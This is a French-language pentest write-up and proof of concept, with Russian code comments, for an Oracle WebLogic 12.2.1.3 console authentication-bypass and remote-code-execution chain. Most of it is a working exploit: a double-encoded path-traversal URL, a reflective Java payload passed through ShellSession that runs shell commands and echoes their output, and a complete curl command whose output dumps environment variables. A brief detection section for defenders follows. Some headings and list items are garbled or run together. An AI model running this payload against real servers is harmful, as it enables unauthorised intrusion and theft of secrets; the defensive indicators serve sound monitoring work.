
Analyse technique et PoC Java Thread Echo propre pour la chaîne de vulnérabilités d'Oracle WebLogic Server.
Le dépôt contient un rapport technique (Write-up) et une preuve de concept (PoC) pour démontrer la chaîne de vulnérabilités de contournement d'authentification (Authentication Bypass) et d'exécution de code à distance (RCE) dans le composant de console d'administration d'Oracle WebLogic Server.
🛑 WARNING & DISCLAIMER: Ce document a été préparé exclusivement à des fins éducatives et pour mener un audit de sécurité légitime (Pentest). L'utilisation des techniques décrites contre des systèmes sans le consentement écrit préalable des propriétaires est poursuivie par la loi.
12.2.1.3 déployénmap, curl, bashPour déterminer la surface d'attaque, un scan ciblé des ports standard des services web et des ports d'administration des applications Java a été effectué :
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
Sortie de terminal contrôlée :
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3. L'activation du protocole T3 indique également des vecteurs alternatifs, mais pour cette recherche, l'interface web HTTP de la console a été retenue.L'analyse de la structure des chemins a montré que le serveur web traite incorrectement les séquences de remontée de répertoire lorsqu'elles sont doublement encodées en URL. La ressource /console/css/ est ouverte pour le contenu statique. Nous construisons une requête pour accéder au portail protégé :
/console/css/%252e%252e%252fconsole.portalNous vérifions la disponibilité et le comportement du serveur (nous nous attendons à un statut 200 OK au lieu d'un 403 Forbidden ou 302 Redirect vers la page de connexion) :
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
Réponse du serveur :
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
En combinant le contournement d'authentification avec l'appel du gestionnaire de sessions com.tangosol.coherence.mvel2.sh.ShellSession, nous obtenons la possibilité d'exécuter du code Java arbitraire.
L'exécution classique de commandes via java.lang.Runtime est « aveugle » (Blind RCE). Pour implémenter la technique Command Echo (retour de la sortie du terminal directement dans le corps de la réponse HTTP), un payload Java réflexif spécial a été développé.
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Определяем ОС целевой системы для корректного вызова шелла
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Выполняем системную команду и считываем Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();
Pour automatiser l'envoi du contexte Java, nous assemblons la commande curl finale. Nous transmettons le payload dans le paramètre POST handle et la commande souhaitée dans l'en-tête personnalisé X-CMD-HEADER: env.
Cette approche protège les données contre l'altération par l'interpréteur de commandes Bash local côté chercheur.
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
Sortie réelle vérifiée (Dump des variables d'environnement) :
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) à la toute fin du journal confirme le succès de l'exploitation. Elle est provoquée par l'instruction executeThread.interrupt(), qui interrompt de force la session TCP immédiatement après que le tampon contenant les résultats de la commande env a été envoyé au client.7001, /console) du périmètre externe (accès uniquement via VPN interne/micro-segmentation).%252e) combinés à des appels spécifiques de classes Java.Pour les spécialistes du monitoring de sécurité (SOC/Blue Team), l'exploitation réussie de cette chaîne de vulnérabilités laisse des traces nettes dans l'infrastructure.
Dans les journaux du serveur web WebLogic (généralement situés dans access.log), le marqueur de l'attaque est la présence d'un double encodage URL des points et de la barre oblique, combinée à une requête vers le portail d'administration via les répertoires statiques :
.. sous forme encodée : %252e%252e%252f ou %252e%252e%252F dans l'URI."POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
Si l'audit des processus est configuré sur le serveur (par exemple, via Auditd sous Linux ou Sysmon sous Windows), un indicateur d'exécution de code à distance (Remote Code Execution) sera un comportement anormal du processus parent Java :
/bin/sh, /bin/bash ou cmd.exe) est le processus de travail Java sous lequel s'exécute le serveur d'applications :
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER ou X-Forwarded-Cmd), utilisés par l'attaquant pour transmettre la charge utile (Command Echo).